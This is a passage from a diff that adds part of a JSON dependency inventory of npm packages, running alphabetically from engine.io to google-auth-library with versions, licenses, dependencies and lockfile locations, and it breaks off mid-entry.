+ },
+ "Version": "1.4.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "once@1.4.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4804,
+ "EndLine": 4813
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "engine.io@6.6.7",
+ "Name": "engine.io",
+ "Identifier": {
+ "PURL": "pkg:npm/engine.io@6.6.7",
+ "UID": "93d7596aa6da915b"
+ },
+ "Version": "6.6.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/cors@2.8.19",
+ "@types/node@20.19.39",
+ "@types/ws@8.18.1",
+ "accepts@1.3.8",
+ "base64id@2.0.0",
+ "cookie@0.7.2",
+ "cors@2.8.6",
+ "debug@4.4.3",
+ "engine.io-parser@5.2.3",
+ "ws@8.18.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4814,
+ "EndLine": 4834
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "engine.io-client@6.6.4",
+ "Name": "engine.io-client",
+ "Identifier": {
+ "PURL": "pkg:npm/engine.io-client@6.6.4",
+ "UID": "69ff8d19d46faf13"
+ },
+ "Version": "6.6.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@socket.io/component-emitter@3.1.2",
+ "debug@4.4.3",
+ "engine.io-parser@5.2.3",
+ "ws@8.18.3",
+ "xmlhttprequest-ssl@2.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4835,
+ "EndLine": 4847
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "engine.io-parser@5.2.3",
+ "Name": "engine.io-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/engine.io-parser@5.2.3",
+ "UID": "f5851cec59a0048f"
+ },
+ "Version": "5.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4848,
+ "EndLine": 4856
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "entities@4.5.0",
+ "Name": "entities",
+ "Identifier": {
+ "PURL": "pkg:npm/entities@4.5.0",
+ "UID": "4aa0f3667b580141"
+ },
+ "Version": "4.5.0",
+ "Licenses": [
+ "BSD-2-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4866,
+ "EndLine": 4877
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "es-define-property@1.0.1",
+ "Name": "es-define-property",
+ "Identifier": {
+ "PURL": "pkg:npm/es-define-property@1.0.1",
+ "UID": "d648ff935e5e2d70"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4878,
+ "EndLine": 4886
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "es-errors@1.3.0",
+ "Name": "es-errors",
+ "Identifier": {
+ "PURL": "pkg:npm/es-errors@1.3.0",
+ "UID": "d9b9d68627d33ff7"
+ },
+ "Version": "1.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4887,
+ "EndLine": 4895
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "es-object-atoms@1.1.1",
+ "Name": "es-object-atoms",
+ "Identifier": {
+ "PURL": "pkg:npm/es-object-atoms@1.1.1",
+ "UID": "667ec5191acf337d"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "es-errors@1.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4896,
+ "EndLine": 4907
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "es-set-tostringtag@2.1.0",
+ "Name": "es-set-tostringtag",
+ "Identifier": {
+ "PURL": "pkg:npm/es-set-tostringtag@2.1.0",
+ "UID": "c55d91bda6f8893"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "es-errors@1.3.0",
+ "get-intrinsic@1.3.0",
+ "has-tostringtag@1.0.2",
+ "hasown@2.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4908,
+ "EndLine": 4922
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "escalade@3.2.0",
+ "Name": "escalade",
+ "Identifier": {
+ "PURL": "pkg:npm/escalade@3.2.0",
+ "UID": "51ddaf3a991dc191"
+ },
+ "Version": "3.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4962,
+ "EndLine": 4970
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "escape-html@1.0.3",
+ "Name": "escape-html",
+ "Identifier": {
+ "PURL": "pkg:npm/escape-html@1.0.3",
+ "UID": "27b37114cf659f09"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4971,
+ "EndLine": 4976
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "etag@1.8.1",
+ "Name": "etag",
+ "Identifier": {
+ "PURL": "pkg:npm/etag@1.8.1",
+ "UID": "e38fa6e6a581bff7"
+ },
+ "Version": "1.8.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5151,
+ "EndLine": 5159
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "event-target-shim@5.0.1",
+ "Name": "event-target-shim",
+ "Identifier": {
+ "PURL": "pkg:npm/event-target-shim@5.0.1",
+ "UID": "65b0b583fde660e3"
+ },
+ "Version": "5.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5160,
+ "EndLine": 5169
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "eventemitter3@4.0.7",
+ "Name": "eventemitter3",
+ "Identifier": {
+ "PURL": "pkg:npm/eventemitter3@4.0.7",
+ "UID": "ec6278d2501dfffb"
+ },
+ "Version": "4.0.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5170,
+ "EndLine": 5175
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "events@3.3.0",
+ "Name": "events",
+ "Identifier": {
+ "PURL": "pkg:npm/events@3.3.0",
+ "UID": "5fd4d4188addbb14"
+ },
+ "Version": "3.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5176,
+ "EndLine": 5184
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "express@4.22.1",
+ "Name": "express",
+ "Identifier": {
+ "PURL": "pkg:npm/express@4.22.1",
+ "UID": "37dea9f0ee7a4df2"
+ },
+ "Version": "4.22.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "accepts@1.3.8",
+ "array-flatten@1.1.1",
+ "body-parser@1.20.5",
+ "content-disposition@0.5.4",
+ "content-type@1.0.5",
+ "cookie-signature@1.0.7",
+ "cookie@0.7.2",
+ "debug@2.6.9",
+ "depd@2.0.0",
+ "encodeurl@2.0.0",
+ "escape-html@1.0.3",
+ "etag@1.8.1",
+ "finalhandler@1.3.2",
+ "fresh@0.5.2",
+ "http-errors@2.0.1",
+ "merge-descriptors@1.0.3",
+ "methods@1.1.2",
+ "on-finished@2.4.1",
+ "parseurl@1.3.3",
+ "path-to-regexp@0.1.13",
+ "proxy-addr@2.0.7",
+ "qs@6.14.2",
+ "range-parser@1.2.1",
+ "safe-buffer@5.2.1",
+ "send@0.19.2",
+ "serve-static@1.16.3",
+ "setprototypeof@1.2.0",
+ "statuses@2.0.2",
+ "type-is@1.6.18",
+ "utils-merge@1.0.1",
+ "vary@1.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5222,
+ "EndLine": 5267
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "express-rate-limit@8.5.1",
+ "Name": "express-rate-limit",
+ "Identifier": {
+ "PURL": "pkg:npm/express-rate-limit@8.5.1",
+ "UID": "e5229dbb6b303f6e"
+ },
+ "Version": "8.5.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "express@4.22.1",
+ "ip-address@10.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5268,
+ "EndLine": 5285
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "extend@3.0.2",
+ "Name": "extend",
+ "Identifier": {
+ "PURL": "pkg:npm/extend@3.0.2",
+ "UID": "6a213abedd250e4"
+ },
+ "Version": "3.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5310,
+ "EndLine": 5316
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "farmhash-modern@1.1.0",
+ "Name": "farmhash-modern",
+ "Identifier": {
+ "PURL": "pkg:npm/farmhash-modern@1.1.0",
+ "UID": "c94b78c0e4b500b3"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5317,
+ "EndLine": 5325
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fast-deep-equal@2.0.1",
+ "Name": "fast-deep-equal",
+ "Identifier": {
+ "PURL": "pkg:npm/fast-deep-equal@2.0.1",
+ "UID": "45cd262227926e74"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8426,
+ "EndLine": 8431
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fast-deep-equal@3.1.3",
+ "Name": "fast-deep-equal",
+ "Identifier": {
+ "PURL": "pkg:npm/fast-deep-equal@3.1.3",
+ "UID": "21d3ad4bc7795cf9"
+ },
+ "Version": "3.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5326,
+ "EndLine": 5331
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fast-equals@5.4.0",
+ "Name": "fast-equals",
+ "Identifier": {
+ "PURL": "pkg:npm/fast-equals@5.4.0",
+ "UID": "f701a24fcb56e8f2"
+ },
+ "Version": "5.4.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5332,
+ "EndLine": 5340
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fast-glob@3.3.3",
+ "Name": "fast-glob",
+ "Identifier": {
+ "PURL": "pkg:npm/fast-glob@3.3.3",
+ "UID": "954d4bf2ec4c89b5"
+ },
+ "Version": "3.3.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@nodelib/fs.stat@2.0.5",
+ "@nodelib/fs.walk@1.2.8",
+ "glob-parent@5.1.2",
+ "merge2@1.4.1",
+ "micromatch@4.0.8"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5341,
+ "EndLine": 5356
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fast-xml-builder@1.1.5",
+ "Name": "fast-xml-builder",
+ "Identifier": {
+ "PURL": "pkg:npm/fast-xml-builder@1.1.5",
+ "UID": "bcd6b653d167fc58"
+ },
+ "Version": "1.1.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "path-expression-matcher@1.5.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5390,
+ "EndLine": 5405
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fast-xml-parser@5.7.2",
+ "Name": "fast-xml-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/fast-xml-parser@5.7.2",
+ "UID": "7a0a0cac8b7f610"
+ },
+ "Version": "5.7.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@nodable/entities@2.1.0",
+ "fast-xml-builder@1.1.5",
+ "path-expression-matcher@1.5.0",
+ "strnum@2.2.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5406,
+ "EndLine": 5427
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fastq@1.20.1",
+ "Name": "fastq",
+ "Identifier": {
+ "PURL": "pkg:npm/fastq@1.20.1",
+ "UID": "cc53265edd4e124e"
+ },
+ "Version": "1.20.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "reusify@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5428,
+ "EndLine": 5436
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "faye-websocket@0.11.4",
+ "Name": "faye-websocket",
+ "Identifier": {
+ "PURL": "pkg:npm/faye-websocket@0.11.4",
+ "UID": "840bfdc12aefaaf1"
+ },
+ "Version": "0.11.4",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "websocket-driver@0.7.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5437,
+ "EndLine": 5448
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fdir@6.5.0",
+ "Name": "fdir",
+ "Identifier": {
+ "PURL": "pkg:npm/fdir@6.5.0",
+ "UID": "7c24b6ed0a9c8c10"
+ },
+ "Version": "6.5.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "picomatch@4.0.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9710,
+ "EndLine": 9726
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fflate@0.8.2",
+ "Name": "fflate",
+ "Identifier": {
+ "PURL": "pkg:npm/fflate@0.8.2",
+ "UID": "262e3fbcbb6e0e65"
+ },
+ "Version": "0.8.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5449,
+ "EndLine": 5454
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fill-range@7.1.1",
+ "Name": "fill-range",
+ "Identifier": {
+ "PURL": "pkg:npm/fill-range@7.1.1",
+ "UID": "6e49be0329a123e1"
+ },
+ "Version": "7.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "to-regex-range@5.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5468,
+ "EndLine": 5479
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "finalhandler@1.3.2",
+ "Name": "finalhandler",
+ "Identifier": {
+ "PURL": "pkg:npm/finalhandler@1.3.2",
+ "UID": "44378e2db020844f"
+ },
+ "Version": "1.3.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "debug@2.6.9",
+ "encodeurl@2.0.0",
+ "escape-html@1.0.3",
+ "on-finished@2.4.1",
+ "parseurl@1.3.3",
+ "statuses@2.0.2",
+ "unpipe@1.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5480,
+ "EndLine": 5497
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "find-up@4.1.0",
+ "Name": "find-up",
+ "Identifier": {
+ "PURL": "pkg:npm/find-up@4.1.0",
+ "UID": "74277189890393b3"
+ },
+ "Version": "4.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "locate-path@5.0.0",
+ "path-exists@4.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8202,
+ "EndLine": 8214
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "firebase-admin@12.7.0",
+ "Name": "firebase-admin",
+ "Identifier": {
+ "PURL": "pkg:npm/firebase-admin@12.7.0",
+ "UID": "88dead602fe1933c"
+ },
+ "Version": "12.7.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@fastify/busboy@3.2.0",
+ "@firebase/database-compat@1.0.8",
+ "@firebase/database-types@1.0.5",
+ "@google-cloud/firestore@7.11.6",
+ "@google-cloud/storage@7.19.0",
+ "@types/node@22.19.17",
+ "farmhash-modern@1.1.0",
+ "jsonwebtoken@9.0.3",
+ "jwks-rsa@3.2.2",
+ "node-forge@1.4.0",
+ "uuid@10.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5530,
+ "EndLine": 5553
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "follow-redirects@1.16.0",
+ "Name": "follow-redirects",
+ "Identifier": {
+ "PURL": "pkg:npm/follow-redirects@1.16.0",
+ "UID": "43b710fab4275e2b"
+ },
+ "Version": "1.16.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5585,
+ "EndLine": 5604
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fontkit@2.0.4",
+ "Name": "fontkit",
+ "Identifier": {
+ "PURL": "pkg:npm/fontkit@2.0.4",
+ "UID": "894bff46252ca494"
+ },
+ "Version": "2.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@swc/helpers@0.5.21",
+ "brotli@1.3.3",
+ "clone@2.1.2",
+ "dfa@1.2.0",
+ "fast-deep-equal@3.1.3",
+ "restructure@3.0.2",
+ "tiny-inflate@1.0.3",
+ "unicode-properties@1.4.1",
+ "unicode-trie@2.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5605,
+ "EndLine": 5621
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "foreground-child@3.3.1",
+ "Name": "foreground-child",
+ "Identifier": {
+ "PURL": "pkg:npm/foreground-child@3.3.1",
+ "UID": "a2e30a30ca0114d9"
+ },
+ "Version": "3.3.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "cross-spawn@7.0.6",
+ "signal-exit@4.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5622,
+ "EndLine": 5637
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "form-data@2.5.5",
+ "Name": "form-data",
+ "Identifier": {
+ "PURL": "pkg:npm/form-data@2.5.5",
+ "UID": "c55fb148d6604a3f"
+ },
+ "Version": "2.5.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "asynckit@0.4.0",
+ "combined-stream@1.0.8",
+ "es-set-tostringtag@2.1.0",
+ "hasown@2.0.3",
+ "mime-types@2.1.35",
+ "safe-buffer@5.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5638,
+ "EndLine": 5655
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "form-data@4.0.5",
+ "Name": "form-data",
+ "Identifier": {
+ "PURL": "pkg:npm/form-data@4.0.5",
+ "UID": "a9dcd75b26c8df3d"
+ },
+ "Version": "4.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "asynckit@0.4.0",
+ "combined-stream@1.0.8",
+ "es-set-tostringtag@2.1.0",
+ "hasown@2.0.3",
+ "mime-types@2.1.35"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3152,
+ "EndLine": 3168
+ },
+ {
+ "StartLine": 3579,
+ "EndLine": 3594
+ },
+ {
+ "StartLine": 9433,
+ "EndLine": 9449
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "forwarded@0.2.0",
+ "Name": "forwarded",
+ "Identifier": {
+ "PURL": "pkg:npm/forwarded@0.2.0",
+ "UID": "f949aeb3cd160584"
+ },
+ "Version": "0.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5674,
+ "EndLine": 5682
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fraction.js@5.3.4",
+ "Name": "fraction.js",
+ "Identifier": {
+ "PURL": "pkg:npm/fraction.js@5.3.4",
+ "UID": "262b609ca6b3437f"
+ },
+ "Version": "5.3.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5683,
+ "EndLine": 5695
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fresh@0.5.2",
+ "Name": "fresh",
+ "Identifier": {
+ "PURL": "pkg:npm/fresh@0.5.2",
+ "UID": "89a73a228e23156c"
+ },
+ "Version": "0.5.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5696,
+ "EndLine": 5704
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "fsevents@2.3.3",
+ "Name": "fsevents",
+ "Identifier": {
+ "PURL": "pkg:npm/fsevents@2.3.3",
+ "UID": "85c56fb14b3953ac"
+ },
+ "Version": "2.3.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5712,
+ "EndLine": 5725
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "function-bind@1.1.2",
+ "Name": "function-bind",
+ "Identifier": {
+ "PURL": "pkg:npm/function-bind@1.1.2",
+ "UID": "42b79e6545be9e79"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5726,
+ "EndLine": 5734
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "functional-red-black-tree@1.0.1",
+ "Name": "functional-red-black-tree",
+ "Identifier": {
+ "PURL": "pkg:npm/functional-red-black-tree@1.0.1",
+ "UID": "fef055e2002924a8"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5735,
+ "EndLine": 5741
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "gaxios@6.7.1",
+ "Name": "gaxios",
+ "Identifier": {
+ "PURL": "pkg:npm/gaxios@6.7.1",
+ "UID": "2a4754ce36748a84"
+ },
+ "Version": "6.7.1",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "extend@3.0.2",
+ "https-proxy-agent@7.0.6",
+ "is-stream@2.0.1",
+ "node-fetch@2.7.0",
+ "uuid@9.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5742,
+ "EndLine": 5758
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "gcp-metadata@6.1.1",
+ "Name": "gcp-metadata",
+ "Identifier": {
+ "PURL": "pkg:npm/gcp-metadata@6.1.1",
+ "UID": "5c1558c5596998da"
+ },
+ "Version": "6.1.1",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "gaxios@6.7.1",
+ "google-logging-utils@0.0.2",
+ "json-bigint@1.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5774,
+ "EndLine": 5788
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "get-caller-file@2.0.5",
+ "Name": "get-caller-file",
+ "Identifier": {
+ "PURL": "pkg:npm/get-caller-file@2.0.5",
+ "UID": "1c9b4e765456abb8"
+ },
+ "Version": "2.0.5",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5789,
+ "EndLine": 5797
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "get-intrinsic@1.3.0",
+ "Name": "get-intrinsic",
+ "Identifier": {
+ "PURL": "pkg:npm/get-intrinsic@1.3.0",
+ "UID": "de5aee2500eae497"
+ },
+ "Version": "1.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "call-bind-apply-helpers@1.0.2",
+ "es-define-property@1.0.1",
+ "es-errors@1.3.0",
+ "es-object-atoms@1.1.1",
+ "function-bind@1.1.2",
+ "get-proto@1.0.1",
+ "gopd@1.2.0",
+ "has-symbols@1.1.0",
+ "hasown@2.0.3",
+ "math-intrinsics@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5808,
+ "EndLine": 5831
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "get-proto@1.0.1",
+ "Name": "get-proto",
+ "Identifier": {
+ "PURL": "pkg:npm/get-proto@1.0.1",
+ "UID": "14aa4b06308a29c7"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "dunder-proto@1.0.1",
+ "es-object-atoms@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5832,
+ "EndLine": 5844
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "glob@10.5.0",
+ "Name": "glob",
+ "Identifier": {
+ "PURL": "pkg:npm/glob@10.5.0",
+ "UID": "1485c123c612e565"
+ },
+ "Version": "10.5.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "foreground-child@3.3.1",
+ "jackspeak@3.4.3",
+ "minimatch@9.0.9",
+ "minipass@7.1.3",
+ "package-json-from-dist@1.0.1",
+ "path-scurry@1.11.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6532,
+ "EndLine": 6552
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "glob-parent@5.1.2",
+ "Name": "glob-parent",
+ "Identifier": {
+ "PURL": "pkg:npm/glob-parent@5.1.2",
+ "UID": "101c7222d656c7e2"
+ },
+ "Version": "5.1.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "is-glob@4.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4017,
+ "EndLine": 4028
+ },
+ {
+ "StartLine": 5357,
+ "EndLine": 5368
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "glob-parent@6.0.2",
+ "Name": "glob-parent",
+ "Identifier": {
+ "PURL": "pkg:npm/glob-parent@6.0.2",
+ "UID": "9200bc84c75f2482"
+ },
+ "Version": "6.0.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "is-glob@4.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5880,
+ "EndLine": 5891
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "google-auth-library@9.15.1",
+ "Name": "google-auth-library",
+ "Identifier": {
+ "PURL": "pkg:npm/google-auth-library@9.15.1",
+ "UID": "97cbd8eed7911f4"
+ },
+ "Version": "9.15.1",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "base64-js@1.5.1",
+ "ecdsa-sig-formatter@1.0.11",
+ "gaxios@6.7.1",
+ "gcp-metadata@6.1.1",
+ "gtoken@7.1.0",
+ "jws@4.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5908,
+ "EndLine": 5925
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "google-gax@4.6.1",
+ "Name": "google-gax",
+ "Identifier": {
